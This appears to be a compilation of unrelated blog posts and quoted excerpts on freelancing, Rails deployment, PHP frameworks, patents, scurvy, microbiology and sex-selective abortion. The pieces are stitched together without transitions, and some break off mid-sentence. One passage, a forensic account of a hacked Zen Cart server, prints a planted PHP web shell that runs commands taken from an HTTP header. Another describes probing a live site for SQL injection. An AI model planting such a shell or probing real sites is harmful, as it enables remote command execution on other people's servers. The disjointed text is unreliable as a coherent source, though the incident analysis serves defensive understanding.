What to know before you start
Rentacoder does not have skilled developers from western countries. What it has are freelancers from countries like Romania, India, Pakistan and Russia. The price level is also at the level of those countries.

The availability of particular skills is very limited. There are a lot of good PHP programmers, many mediocre designers, just a few python programmers and a very few rubyonrails programmers. It’s generally a bad idea to pick people from western countries to do PHP stuff on rentacoder – the competition from really good programmers based in cheaper countries will make it unsustainable for these people to do longterm.

For C++ and more complex projects, you can pick from the U.S and Europe. For content writing, I have had the best luck with expats from U.S and U.K who are living in cheap countries like thailand or vietnam.

When writing your bid request
Don’t bother making people sign an NDA before seeing your bid. That’s just silly. Turn on the setting to privatise your bid afterwards, you don’t want coders going through your profile to see what you paid other coders.

Write the programming technology you are going to use in the title, so that the coders can see immediately if they are good for this. Remember, the coders are going to see the projects in a big newsletter sent per email. Always wait at least one day for that email to be sent out before you start selecting.

Put what the project is worth for you as your maximum bid. You will really get more quality if you pay more – the difference in the number of bidders when you go from $450 to $550 can be massive.

Never ever select the option ‘unsure’, or your project will be bundled up with a bunch of $20 projects. This will put your bid right at the bottom of the email, and few coders will see it or be interested in it.

Craig T Mackenzie writes:

Like most people I use capistrano to deploy my rails applications, at work we host with the excellent railsmachine and they have really helped simplify the process of deploying to their servers using the railsmachine gem, which builds on top of the excellent functionality of capistrano.

The way these tools work by default they only allow you to deploy one instance of your application, which is fine, that’s all they’re are intended to do. But in the client facing world you’re probably going to want to have at least two versions of the same application at different stages of development running on the same server.

A live forward facing version (my-app.com) and a staging version (staging.my-app.com) for client approval / production testing (not code testing, that should stay on your development box) / progressive reviews etc.

So how do we achieve that? The idea is to determine what context you are deploying your application in, and use the fact the capistrano tasks can be chained together to set everything up ready for deploying a revision of your application to a targeted url, independent of other deployments.

Jamis Buck writes:

I’m still really pushing back against adding staging support into
Capistrano itself. You can accomplish what you want without using
environment environment variables by using cap’s -S switch:

cap -S stage=production deploy

Then, your deploy.rb looks like:

# set the default, unless it was set on the CLI
set :stage, “development” unless variables[:stage]

# do the setup, based on the selected stage
case stage
when “production”
set :deploy_to, “…”
role :web, “…”
role :app, “…”
…
when “development”
…
when “demo”
…
else
raise “unsupported staging environment: #{stage}”
end

The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this:Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the apache2 user.

Opening images/imagedisplay.php shows the following code:
<?php system($_SERVER["HTTP_SHELL"]); ?>
This code allows running commands using the account of the user running the apache2 server.

Now not only would this work for my specific situation, but ANY controller could reuse this pagination subview and define exactly how it wanted it’s URLs to be formed. Now, the view could completely change around how the pagination section is displayed, show as many, or as few pages as it wants to, and all that without ever touching the controller.

This is one simple example, but I’ve become enamored of this approach. Using lambda functions in this way, you are able to have complicated logic represented inside of your view, but encapsulated/created by the controller. Also of note is the fact that the view is managing to use the $jsfunc and $baseurl values, but without actually having to be granted access to them. This allows for another level of encapsulation, as I exposed one function, instead of 2 separate variables. In the future if other data points start being needed to determine what a URL should be, the view never needs know that, as the controller will continue to update the function on it’s behalf.

Personal, individual frameworks made a lot of sense in 2000 and 2001 and 2002, but now? Of my 3 most recent contracts, 2 were rebuilds of sites built by some other PHP programmer. In some cases the code was good, but the framework was their own, all together personal, and undocumented.

I think we betray our clients if we use personal frameworks in 2010. You can build a great site using Cake, Symfony, CodeIgniter, or WordPress, Joomla, or Drupal. You can build a great site using modified versions of existing CMSs, or using an open source framework to build your software. These open source projects offer standardization, and standardization is important. These open source projects offer documentation, and documentation is important.

Kris wrote:

People with different backgrounds have different ideas about what is good, and there are probably frameworks for every possible set of ideas you and I could think of.

Yes, and this fact is expensive for my clients.

I do think what I’m writing about here is, in fact, a trend. When I look for new PHP gigs, I notice more and more of them require the use of some framework or CMS. The most common requests are Drupal, WordPress, Joomla, Symfony and CodeIgniter. My sense is that businesses are realizing that it is expensive to allow a programmer to invent their own framework, so the businesses are insisting on the use of some open source software which is well documented.

Here is the scenario that I have seen a lot during the last 5 years:

A company hires a PHP programmer. The company (called “abc”) says “Build us a website that does xyz.” The programmer invents their own software and builds xyz. Since the programmer thinks they are working alone, they allow themselves to cut corners.They copy and paste code. They do not refactor as much as they should. They do not document much, since they assume they are the only ones working with the code.

After 3 years, the programmer leaves to take a new job somewhere else. The “abc” company now hires a new PHP programmer. The company says “Please fix all the bugs in xyz”. The new programmer struggles to learn the code written by the last programmer. There is no documentation regarding how the software works. The last programmer, now gone, rarely responds to questions via email.The new programmer eventually figures out that the old code had some architecture, but the exceptions to the architecture continue to baffle. And why does the code repeat in some places? Is that a bit of copy and paste, or was that really necessary somehow?

After the bugs are fixed, the company says “Great, now, lets extend xyz and add in features lmnop.” Extending the old code is difficult for the new programmer, since they have no idea how the last programmer intended for the code to be extended. More so, the last programmer didn’t even foresee some of the new needs of lmnop so the old code is badly suited to the new job. The new programmer struggles with the task of adding features while keeping the code base backwards compatible. A job that should take 1 month instead takes 2 months.

Finally, with that done, the company says to the programmer, “Great, now we are going to start a totally new project, the def project. You can use any technology you want for this. You can invent your own framework for this, if you want.” The new programmer rejoices! Finally, they will be allowed to do things their way! They will get to write code that makes sense to them! They will get to build an architecture that makes sense to them! The programmer invents their own software and builds def. Since the programmer thinks they are working alone, they allow themselves to cut corners.They copy and paste code. They do not refactor as much as they should. They do not document much, since they assume they are the only ones working with the code.

After 3 years, the programmer leaves to take a new job somewhere else. The “abc” company now hires a new PHP programmer. The new programmer must now work with the patched, extended, bloated project of xyz. They must also work with def, which they find confusing. Each project was written by a different programmer, uses a different architecture, makes different assumptions about what is good code.

You see the problem? This is not sustainable.

Consider Kris’s words:

“People with different backgrounds have different ideas about what is good, and there are probably frameworks for every possible set of ideas you and I could think of.”

That is the problem that can be fixed by committing to a framework.

Just to be clear, I think the choice of a framework might be arbitrary, and yet will still be useful. That is, the framework does not have to be the “best”. It merely needs to offer consistency. There is a great benefit to consistency, especially over the long term. I mean, it is good if you can get several programmers who will work with some basic set of core assumptions – a decent framework will offer that.

Another problem that I have seen a lot of is the programmer who thinks they are working alone. Either they are the only programmer at the business, or they are assigned some project that belongs to them and which no other programmer is allowed to touch. So they think they are alone. But after a few years, they leave the company, and some other programmer is brought in to handle their work.

Over time, all projects involve multiple programmers. Programmers seem to be slow to recognize this. After some years, they will move on, and some other programmer will have to work on their code. I wish more programmers could be made to see this.

I am especially aware of this right now, because, as I said, 2 of my last 3 gigs I have been brought in to save/rebuild code left by some other programmer.

Today Geoff Fox tipped me off to something ironic: the website for Republican congressional candidate Daria Novak is using a WordPress theme I designed back in 2008 for Obama supporters. What’s interesting is that soon after Geoff made the observation, Novak’s web team removed all references to Obama from the CSS and templates, even changing the name of the /theme/ directory.

Finding intimacy among groups of friends and colleagues online isn’t always about limited numbers. Sometimes it’s just a matter of finding the right people. But once you’ve found an intimate place, how long can it last?

At some point in 2008-2009 everyone I’ve met in my entire 35 years got a Facebook account. Instead of trusted recent friends, my circle expanded to acquaintances from high school. People who I never intended on re-establishing contact were now privy to my every silly status update. I got self-conscious and had to create filters so that certain people didn’t get certain updates. This idea of relationship-filtering will continue being an uncomfortable part of our lives as social media grows.

Currently, Dribbble feels pretty intimate. Among the nearly 1000 members, there are still clusters of friends that form little subgroups. Within your trusted circle, you can be yourself and post private/client work without worrying much about it.

This intimacy is important as many of us designers spend our time maintaining an airtight wall of professionalism on our personal/portfolio sites. We publish only the most pixel-perfect portfolio samples. We still use the royal “we” when describing the work done at our one-man design studios. The web allows us to contrive whatever identity we want for ourselves.

Dribbble is a nice escape. You can be loose and be yourself. It’s more personal. There is no veil of professionalism. Because it is private, people post wacky stuff they might not

There are various objections to expanding the conventional, up-tight, as-God-intended “one man, one woman” notion of marriage but by far the least plainly bigoted ones I am aware of are the bureaucratic ones.

To be blunt, the systems aren’t set up to handle it. The paper forms have a space for the husband’s name and a space for the wife’s name. Married people carefully enter their details in block capitals and post the forms off to depressed paper-pushers who then type that information into software front-ends whose forms are laid out and named in precisely the same fashion. And then they hit “submit” and the information is filed away electronically in databases which simply keel over or belch integrity errors when presented with something so profound as a man and another man who love each other enough to want to file joint tax returns.

Speaking as a computery-type person, altering the paper forms is not my department. It’s probably expensive and there are probably millions of existing incorrect forms which would need returning or recycling or burning instead of using. Or maybe it’s simple. I don’t know. The real question from my perspective is how you store a marriage in a computer.

Altering your database schema to accommodate gay marriage can be easy or difficult depending on how smart you were when you originally set up your system to accommodate heterosexuality only. Let’s begin.

It was previously thought that sex chromosomes in birds control whether a testis or ovary forms, with sexual traits then being determined by hormones.

The researchers, however, identified differences between male and female cells that control the development of sexual traits. The scientists have named the phenomenon, cell autonomous sex identity (CASI).

I wonder if this is true for mammals as well?

I pay $30 a month for Basecamp. I do not want ads on Basecamp. Not even ads from 37 Signals.

It has taken us some time to dare to believe in our own results. It now seems to us, although we are aware that at this point we do not have sufficient data, and so it must remain a speculation, that what distinguishes the three groups in the first test is their different attitudes to meaninglessness.

Formal logical proofs, and therefore programs – formal logical proofs that particular computations are possible, expressed in a formal system called a programming language – are utterly meaningless. To write a computer program you have to come to terms with this, to accept that whatever you might want the program to mean, the machine will blindly follow its meaningless rules and come to some meaningless conclusion. In the test the consistent group showed a pre-acceptance of this fact: they are capable of seeing mathematical calculation problems in terms of rules, and can follow those rules wheresoever they may lead. The inconsistent group, on the other hand, looks for meaning where it is not. The blank group knows that it is looking at meaninglessness, and refuses to deal with it.

Hello:
Greetings!
How are you doing, I am contacting you with respect to the job you posted. I would like to get a chance to work together and to have an employee leasing contract in between our companies as I am so sure, its my privilege to gift you this message.

We facilitate remote employee leasing. We are so sure that this fruitful service is quiet good for you. You may not yet thinks about remote employees, there is no difference in between remote employee and in-house one except they works remotely. For remote employment, we start from $1400/- as a monthly salary for an individual expert.

I am expecting your reply in order to give you more and more samples of works we did for global standard clients. We are ready to give you many references from almost all the hot spots of the globe. Currently we have great clients from UK, USA, UAE, Astralia, etc.

Our site address is www.rispostaindia.com and you will be able to find our primary client list and our portfolio from http://www.rispostaindia.com/portfolio.php and http://www.rispostaindia.com/logos.php .

Please reply as we are waiting for a long term and reliable relation with you.

Wishing you a very great day!

–
Thanks and regards
Business Head
Risposta IT Services
www.rispostaindia.com

#19, ITES Habitate Centre,Kaloor – 17, Kochi, Kerala.India

I have never worked with Rispostaindia.com, so for all I know, they are fantastic. My own experiences with out -sourcing have left me ambivalent. When you need to communicate complex concepts, such as what a piece of software is suppose to do, minor misunderstandings build up into major headaches. Also, the firm we worked with seemed staffed mostly by very junior programmers – 21 and 22 year olds who had just finished some sort of training at a local technical institute.

They had a theory of the disease that made sense, fit the evidence, but was utterly wrong.

I am interested in cases where technology goes backwards and important scientific break throughs are forgotten, so this story about scurvy got my attention:

Now, I had been taught in school that scurvy had been conquered in 1747, when the Scottish physician James Lind proved in one of the first controlled medical experiments that citrus fruits were an effective cure for the disease. From that point on, we were told, the Royal Navy had required a daily dose of lime juice to be mixed in with sailors’ grog, and scurvy ceased to be a problem on long ocean voyages.

But here was a Royal Navy surgeon in 1911 apparently ignorant of what caused the disease, or how to cure it. Somehow a highly-trained group of scientists at the start of the 20th century knew less about scurvy than the average sea captain in Napoleonic times. Scott left a base abundantly stocked with fresh meat, fruits, apples, and lime juice, and headed out on the ice for five months with no protection against scurvy, all the while confident he was not at risk. What happened? …

This pattern of fresh meat preventing scurvy would be a consistent one in Arctic exploration. It defied the common understanding of scurvy as a deficiency in vegetable matter. Somehow men could live for years on a meat-only diet and remain healthy, provided that the meat was fresh.

This is a good example of how the very ubiquity of vitamin C made it hard to identify. Though scurvy was always associated with a lack of greens, fresh meat contains adequate amounts of vitamin C, with particularly high concentrations in the organ meats that explorers considered a delicacy. Eat a bear liver every few weeks and scurvy will be the least of your problems.

But unless you already understand and believe in the vitamin model of nutrition, the notion of a trace substance that exists both in fresh limes and bear kidneys, but is absent from a cask of lime juice because you happened to prepare it in a copper vessel, begins to sound pretty contrived.

Doctors of the era looked at this puzzling evidence and wondered. Other diseases had recently been shown to have their source in bacterial infection. The bacterial model was new, and had already had spectacular success in identifying and treating diseases like typhus, tuberculosis, and cholera. What if the cause of scruvy had also been misunderstood? What if instead of a deficiency disease, scurvy was actually a kind of chronic food poisoning from bacterial contamination of meat? Thus was born the ptomaine theory of scurvy, and Koettlitz became its enthusiastic backer

Matt Mireles advances the classic arguments for why NYC is not a good place for a startup in his piece for Business Insider — raising money is hard, and talent is scarce — but I’d like to make a couple of points to the contrary

Read the whole thing.

I don’t think it’s an accident that 7NC Luxury Cruises appeal mostly to older people. I don’t mean decrepitly old, but like fiftyish people for whom their own mortality is something more than an abstraction. Most of the exposed bodies to be seen all over the daytime Nadir were in various stages of disintegration. And the ocean itself turns out to be one enormous engine of decay. Seawater corrodes vessels with amazing speed—rusts them, exfoliates paint, strips varnish, dulls shine, coats ships’ hulls with barnacles and kelp and a vague and ubiquitous nautical snot that seems like death incarnate. We saw some real horrors in port, local boats that looked as if they had been dipped in a mixture of acid and shit, scabbed with rust and goo, ravaged by what they float in….

Here’s the thing: A vacation is a respite from unpleasantness, and since consciousness of death and decay are unpleasant, it may seem weird that the ultimate American fantasy vacation involves being plunked down in an enormous primordial stew of death and decay.

Or maybe the sea is abundant with life? Maybe some organisms die but are then eaten by other organisms which then grow? Things change, I won’t argue that, but if an 60 kilogram woman dies and becomes 60 kilograms of bacteria, then the world still has the same amount of life, merely in a different form. It works the other way too, of course, things die, get absorbed into the soil, get absorbed into some stalks of wheat, get turned into some bread that I eat, get absorbed into who I am, and thus allow me to type these words. The blog entry I linked to was called “Things fall apart”. But it seems describe as much life as death.

But it’s Bjarnsholt’s latest discovery that reveals microbes’ gift for language: the bacteria aren’t just talking amongst themselves, but also quietly listening in on signals sent by their human host. So when a cavalry of white blood cells arrives to repel the invading bacteria, the entrenched biofilm senses their presence, and launches a coordinated counterattack (Microbiology, vol 155, p 3500). The microbes release deadly compounds called rhamnolipids, which burst the white blood cells, killing them before they can even take aim, says Bjarnsholt, who is at the University of Copenhagen in Denmark.

This of course suggests new kinds of treatments:

Then there’s our own immune system’s battle to prevent P. aeruginosa making itself at home in our lungs. Bjarnsholt is hunting for the signal P. aeruginosa uses to “listen out” for white blood cells, and ways to block it. He doesn’t think of the bacteria as being physically aware of their hosts. To them, the signals they detect are just foreign compounds they have to fend off. But it’s certainly a far more sophisticated take on the host-pathogen relationship than we’re used to, notes Atkinson. “Rather than the pathogen just piling into the host cell and taking over its DNA, it’s about signal production, interception – and maybe even coercion of the host to do something that it wouldn’t normally do.”

Of course, some bacteria is friendly to humans:

Many of the early examples of cross-kingdom communication that Atkinson and Williams catalogued are less than congenial, but there is also good evidence for cooperative interaction between bacteria and their hosts, says Atkinson – particularly between ourselves and our microbiome, the huge population of bacteria that live in us and on us.

These days we’re all well acquainted with the millions of microbes lining our insides. Yogurt adverts have taught us nothing if not to love the friendly bacteria which line our guts, helping to keep nastier bugs at bay. Microbes don’t just make themselves at home in the intestines, however. They’re in your mouth, up your nose, and covering your skin, all the while releasing a cacophony of quorum-sensing signals.

Atkinson thinks our own cells exploit this same signalling system to monitor and cajole our personal population of microbes, just as they eavesdrop on and manipulate us. In other words, we don’t passively host this bacterial colony, but actively engage it in conversation. We’ve evolved together, he says. “We have to consider that we’re intrinsically linked.”

Since there are thousands, maybe tens of thousands, of words (chemicals) in use among these organisms, it is going to take a lot of work to learn this new vocabulary:

The team is using an imaging system based on mass spectrometry to detect swathes of signals at the same time. They grow their bacteria on a stainless steel plate, and use a laser to vaporise their signalling molecules, feeding these into a mass spectrometer to catalogue the molecules present.

As proof of principle, Dorrestein and Straight have mapped the interactions between two species of soil-dwelling bacteria (Nature Chemical Biology, vol 5, p 885). Even in this simple case, the instrument detected as many as 100 different signalling molecules fired off by the two bacteria, only 10 of which the team managed to match to known molecules. Despite the huge scale of the problem, the team is already starting to translate their work into inter-kingdom studies, probing the interactions between bacteria and cells of the human immune system. By imaging cross-talk between different species, they even hope to identify inhibitors for Staphylococcus aureus, the hospital superbug that has evolved to defend itself against whole groups of our most effective antibiotics.

One of 2009’s most significant breakthroughs in biogerontology (or in any field; q.v. Science, WIRED) last year was the announcement that the macrolide drug rapamycin can extend longevity in mice.

More specifically, rapamycin can accomplish this when administered to adult, wildtype mice. In other words, no genetic modification or early-life intervention is necessary, making rapamycin one of the first compounds that meets the criteria for an anti-aging drug that could be used for people who are already alive and well down the road toward aging themselves.

The lifespan extension achieved is modest (~10%), but this is more impressive in light of the fact that the mice were quite old at the time treatment began, and the study used only a single dose rate. Future studies will undoubtedly seek to optimize the dose and regimen with the goal of achieving greater enhancement of lifespan.

One thing I note about long-lived species is that they keep growing. The rule seems universal – trees, tortoises, some types of fish – every species that has an exceptionally long life span also keeps growing in size. There is no fixed, final form that one can associate with adulthood. For humans, of course, our size is fairly fixed – nearly all adults are between 5 feet and 6 feet, 6 inches. Perhaps if we just kept growing, we’d live to be 200. But then, I suspect, we’d end up with some terrible spinal pain and injuries. Humans are not designed to be 10 feet tall. Maybe long-life is reserved for those species who have a structure that can comfortably keep growing.

The use of sex-selective abortion was banned in India in 1994 and in China in 1995. It is illegal in most countries (though Sweden legalised the practice in 2009). But since it is almost impossible to prove that an abortion has been carried out for reasons of sex selection, the practice remains widespread. An ultrasound scan costs about $12, which is within the scope of many—perhaps most—Chinese and Indian families. In one hospital in Punjab, in northern India, the only girls born after a round of ultrasound scans had been mistakenly identified as boys, or else had a male twin.

The preference for boys is universal. Even in the United States, there remains a preference for boys – a couple that has 2 daughters is 15% more likely to get a divorce than a couple that has 2 sons. I would guess that some sub-cultures in America skew the results by having a preference that is stronger than that 15% indicates.

However, I think the practice should be legal everywhere. Why not allow parents take this to whatever extreme they want? If a society ends up with 3 boys for every girl, then perhaps the parents will begin to re-think their attitudes? Apparently some areas are close to having 3 boys for every girl:

If you take just second children, however, which are permitted in the province, the ratio leaps to 146 boys for every 100 girls. And for the relatively few of births where parents are permitted a third child, the sex ratio is 167. Even this startling ratio is not the outer limit. In Anhui province, among third children, there are 227 boys for every 100 girls, while in Beijing municipality (which also permits exceptions in rural areas), the sex ratio reaches a hard-to-credit 275. There are almost three baby boys for each baby girl.

Perhaps the value of women will rise, when they are scarce enough? Apparently this is already happening, in small ways:

Violence is not the only consequence. In parts of India, the cost of dowries is said to have fallen (see article). Where people pay a bride price (ie, the groom’s family gives money to the bride’s), that price has risen.

The thing is, this is clearly a trend that can not continue forever. At some point there will be so many boys and so few girls that a re-thinking of the value of the various genders becomes somewhat inevitable. This apparently happened in South Korea:

Yet the story of the destruction of baby girls does not end in deepest gloom. At least one country—South Korea—has reversed its cultural preference for sons and cut the distorted sex ratio (see chart 3).

I would guess that the men of this generation will grow up opposed to this practice. These are the men who will lose out the most – pure math indicates that a huge number of them will never be able to marry. By the time these men are 25, they will likely be committed to ending the practice. They will know how much harm it can do. As China’s one-child policy makes clear, the government can create distorted incentives when it intervenes in a couple’s decisions about what children to have. I think Sweden got this one right – the government should never be in the business of telling a couple what kind of children they can or can not have.

Today, I see this article about how patents delayed the Industrial Revolution:

In late 1764, while repairing a small Newcomen steam engine, the idea of allowing steam to expand and condense in separate containers sprang into the mind of James Watt. He spent the next few months in unceasing labor building a model of the new engine. In 1768, after a series of improvements and substantial borrowing, he applied for a patent on the idea, requiring him to travel to London in August. He spent the next six months working hard to obtain his patent. It was finally awarded in January of the following year. Nothing much happened by way of production until 1775. Then, with a major effort supported by his business partner, the rich industrialist Matthew Boulton, Watt secured an act of Parliament extending his patent until the year 1800. The great statesman Edmund Burke spoke eloquently in Parliament in the name of economic freedom and against the creation of unnecessary monopoly — but to no avail.[1] The connections of Watt’s partner Boulton were too solid to be defeated by simple principle.

Once Watt’s patents were secured and production started, a substantial portion of his energy was devoted to fending off rival inventors. In 1782, Watt secured an additional patent, made “necessary in consequence of … having been so unfairly anticipated, by [Matthew] Wasborough in the crank motion” [2]. More dramatically, in the 1790s, when the superior Hornblower engine was put into production, Boulton and Watt went after him with the full force of the legal system.[3]

During the period of Watt’s patents the United Kingdom added about 750 horsepower of steam engines per year. In the thirty years following Watt’s patents, additional horsepower was added at a rate of more than 4,000 per year. Moreover, the fuel efficiency of steam engines changed little during the period of Watt’s patent; while between 1810 and 1835 it is estimated to have increased by a factor of five.[4]…

In most histories, James Watt is a heroic inventor, responsible for the beginning of the Industrial Revolution. The facts suggest an alternative interpretation. Watt is one of many clever inventors working to improve steam power in the second half of the eighteenth century. After getting one step ahead of the pack, he remained ahead not by superior innovation, but by superior exploitation of the legal system. The fact that his business partner was a wealthy man with strong connections in Parliament, was not a minor help.

Was Watt’s patent a crucial incentive needed to trigger his inventive genius, as the traditional history suggests? Or did his use of the legal system to inhibit competition set back the industrial revolution by a decade or two? More broadly, are the two essential components of our current system of intellectual property — patents and copyrights — with all of their many faults, a necessary evil we must put up with to enjoy the fruits of invention and creativity? Or are they just unnecessary evils, the relics of an earlier time when governments routinely granted monopolies to favored courtiers? That is the question we seek to answer.

Now – without doing any actual hacking, I immediately noticed that something was wrong. While it’s hard to read the SQL error – it reads “ADODB.Field error ‘80020009′ Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /menu.asp line 0″ Without even pulling out the Google search I already knew what that meant – I wasn’t the first one there with malicious intent.

Immediately the folks at the back of the room took notice of the error, and started asking each other if anyone had heard that the site was having issues, or was down…

I decided to quit, in case this site was down intentionally, or something was actually broken… but the gentlemen in the front row pressed me to continue, to “see if there was actually a vulnerability”. Quickly I took a simple glance at the URL line, and appended the tell-tale test for SQL Injection, the single tick ‘ .

I’ve considered the arguments by Stallman, John Gruber, and Tim Bray on software patents, and I side with Stallman in that software patents are inherently problematic and are a net loss for society.

The major difference in their arguments is that, while all three mention the realities and dysfunctions of the patent system, Stallman focuses strongly on the difference between what it’s intended to do and what actually happens. He also illustrates the reality of trying to develop any nontrivial software in a patent-filled landscape.

Many argue that inventors should be protected and incentivized by patents, otherwise they would stop inventing. It’s a nice theory, but it doesn’t hold up for software.1

We can argue about what the system should do, or what it theoretically does, or what it ideally does, but that’s an academic exercise at best. To evaluate whether software patents are a net gain for society, we need to evaluate their reality, which differs quite a bit from most arguments for why patents are necessary.

I’d go further. Most patents are bad most of the time. They are dangerous and need to be limited, no matter what industry we are talking about.

Patent is a government monopoly. In a liberal society, monopolies are usually seen as bad things. Monopolies, in general, can lead to non-optimal allocations of resources, and when the monopoly is defended by the government there is no way for any entreprenuer, no matter how talented, to offer a competitive alternative. Monopolies encourage rent-maximazation rather than innovation (in other words, the owner of the monopoly simply sucks up as much money as possible, and feels little need to innovate or reinvest their profits).

The Founding Fathers of America were on intimate terms with the harm that arose from government granted monopolies. At a stretch, we could interpret the whole American Revolution as a patent dispute, for it was when the British government granted a monopoly on trade to British merchants that the Americans were first moved to revolt. One of the first and largest American protests was the Boston Tea Party of 1773, during which the British East India Company, a large multi-national corporation that, at that time, had dealings in almost every nation on Earth, had its Boston inventories of tea destroyed. (In this case, the East India Company had a monopoly on “tax free” trade, whereas all American merchants had to pay an import tax, and therefore were at a competitive disadvantage. For instance, in 1768, John Hancock’s ship ‘Liberty’ was seized by customs officials and he was charged with smuggling.)

Because the Americans had suffered so much at the hands of government granted monopolies, they were commited to placing extremely careful limits on their newly independent government’s ability to grant monopolies. Thus in Article 1 of the Constitution, Section 8, they wrote:

“To promote the progress of science and useful arts, by securing for limited times to authors and inventors the exclusive right to their respective writings and discoveries”

The purpose of this section was likely meant to be two-fold: to allow government granted monopolies in one, limited, case, and to ban them in all other cases. Although the monopoly abuses of the Stuart Kings are now forgotten, they were vivid for the Founding Fathers In fact, in 1774, when the government of Virginia asked Thomas Jefferson to write up its formal letter of complaint to the British King, Jefferson starts off with the early history of Virginia and the Stuart Kings: “A family of princes was then on the British throne, whose treasonable crimes against their people brought on them afterwards the exertion of those sacred and sovereign rights of punishment reserved in the hands of the people for cases of extreme necessity.” That is to say, the King had to be killed because he commited great crimes against the people and oppressed them politically and economically. Among those crimes was an extreme abuse of the government’s ability to sell monopolies to the hightest bidder, as described in this passage from Christopher Hill’s book Century of Revolution:

It is difficult for us to picture for ourselves the life of a man living in a house built with monopoly bricks, with windows of monopoly glass; heated with monopoly coal, burning in a grate made of monopoly iron. His walls were lined with monopoly tapestries. He slept on monopoly feathers, did his hair with monopoly brushes. He washed his face with monopoly soap, his clothes in monopoly starch. He dressed in monopoly lace, monopoly linen, monopoly belts, and monopoly gold thread. His hat was monopoly beaver, with a monopoly band. His clothes were held up with monopoly belts, monopoly buttons, and monopoly pins. They were dyed with monopoly dyes. He ate monopoly butter, monopoly currants, monopoly red herrings, monopoly salmon, and monopoly lobsters. His food was seasoned with monopoly salt, monopoly pepper, and monopoly vinegar. Out of monopoly glasses he drank monopoly wines and monopoly spirits; our of pewter mugs made from monopoly tin he drank monopoly beer made from monopoly hops, kept in monopoly barrels or monopoly bottles, sold in monopoly-licensed ale-houses. He smoked monopoly tobacco in monopoly pipes, played with monopoly dice or monopoly cards, or on monopoly lute strings. He wrote with monopoly pens, on monopoly paper; read (possibly through monopoly reading glasses by the light of monopoly candles) monopoly printed books, including monopoly Bibles, printed on paper made from monopoly collected rags, bound in sheepskin dressed with monopoly alum. He exercised himself with monopoly golf balls and in monopoly licensed bowling alleys. Mice were caught in monopoly mousetraps.

…Monopolies interfered with the normal channels of trade. By the late 1630s, the economy was suffering. “If such a system had been maintained,” Mr Unwin wrote of Stuart economic regulations in general, “the Industrial Revolution would never have happened.”

Against this the citizens of the British Empire revolted, killed their King, and, after an interlude, passed the English Bill of Rights. Jefferson’s point was that the rights described in the Bill Of Rights applied to the colonists as much as to the citizens in the home country, but the British Parliment disagreed. Therefore when the colonists won their independence and set up their own government, they were keen on ensuring for themsevles certain rights, and protecting themselves from certain abuses, among them the abuses of monopoly.

Article 1, Section 8 of the Constitution makes clear that the American Federal government will not be handing out monoplies on tin, rags, golf balls and butter. Monopolies will be reserved for one limited case: “securing for limited times to authors and inventors the exclusive right to their respective writings and discoveries”. The Founding Father’s knew that government granted monopolies were dangerous, and needed to be carefully limited. This is a bit of wisdom that the US government has largely forgotten in recent decades. Patents are dangerous, and need to be carefully limited. For many industries, they should never be allowed.

The question of data privacy and ownership comes up over and over in our Yammer discussions. The last time it came up the thread ran for nearly 100 responses. Even though the typical post is something like “Who is using Grails?” or “Is the X application slow for everyone today or just for me?” data privacy is simply one of the biggest concerns going for a lot of companies these days. The mere suggestion that our data isn’t under our control is a big deal.

This point was demonstrated to me in a personal and compelling way during my first week on Yammer. I mentioned a client meeting so that I could share a few tidbits with colleagues. Hours later I was surprised and dismayed when a Google search revealed that my comments had been re-posted to the friendfeed of someone I didn’t even know. Someone on our network had written a quick and dirty app to follow his Yammer RSS feed and re-post everything to friendfeed. Then for good measure he followed everyone in our network. When I “politely suggested” he take it down he equally politely explained to me that I just didn’t get Web 2.0.

I think about this in relation to WP Questions. We haven’t yet offered truly private uses of the software, but I suspect that is something we will need to offer soon, if we are going to capture all the niches to which such software can be used.

Humans utilize at least two major pathways to repair DNA double-strand breaks (DSBs): homologous recombination (HR) and non-homologous end joining (NHEJ), and there are at least two genetically discrete sub-pathways of NHEJ: classical-NHEJ (C-NHEJ) and alternative-NHEJ (A-NHEJ). Since the products generated by each of these three repair (sub)pathways differ substantially from one another, it is biologically critical that certain DSBs are repaired by certain DSB repair pathways. How this pathway choice is made in human cells was unclear. In this study, knockout human cell lines that are defective in core C-NHEJ factors were generated. These cell lines are by-and-large extremely deficient in DSB repair, proving that C-NHEJ is the major DSB repair pathway in human cells. Unexpectedly, cell lines reduced for the C-NHEJ factors Ku70 or Ku86, carried out proficient DSB repair because of hyperactive A-NHEJ. In published work we have also demonstrated that Ku suppresses HR throughout the genome and at telomeres. Collectively, these data imply that Ku ensures that C-NHEJ is the major DSB repair pathway by two mechanisms: i) enabling C-NHEJ and ii) by actively suppressing HR and A-NHEJ. Thus, Ku is the critical regulator of pathway choice in human somatic cells.

Since double strand breaks can lead to cell senescence, then Ku factors must play a role in how people ages. If I was a biology researcher, I’d follow up on this to find the connection between Ku and senescence.

90% of the time, the freelancer is going to get screwed on the estimate. My guess is that 9.9% of the time, the client gets screwed (I use the term loosely—as long as the site is completed within the contractual constraints of the project, the client is generally happy). That leaves 0.1% of all estimates that accurately reflected the correct amount of time it took to accomplish the project. Of course, any time valuable should to be taken with a grain of salt because what takes an hour today might take 90 minutes or 45 minutes tomorrow depending on all external factors, not the least of which is distraction.

The bigger point is that clients hate unexpected change, especially a price increase due to underestimation on your part. There are few things most likely to guarantee that you won’t be asked to do second project with a client than raising the cost of your invoice halfway through a project (in fact, most contracts aren’t going to permit this anyway, so again, you’ll likely eat the extra time and costs yourself, anyway).

Using a Retainer to Eliminate Guessing

Herein lies the beauty of the retainer block. You might already be using retainers after the project is complete for tasks like website maintenance or social media marketing (if you’re not, you should—it’s a great way to earn residual income).

I have suggested to a number of clients that they simply pay me a flat monthly fee, but then they worry about the months when not much is changing – why would they want to pay me then? Estimation is a point of pain in the relationship between developers and clients. It is difficult to educate the clients so that they can understand why things cost as much as they do. Its tragic how many times I’ve seen a potential client go with the lowest bidder, knowing full well that the bidder was planning on ripping the client off, because the price was far to low to do what the client actually wanted.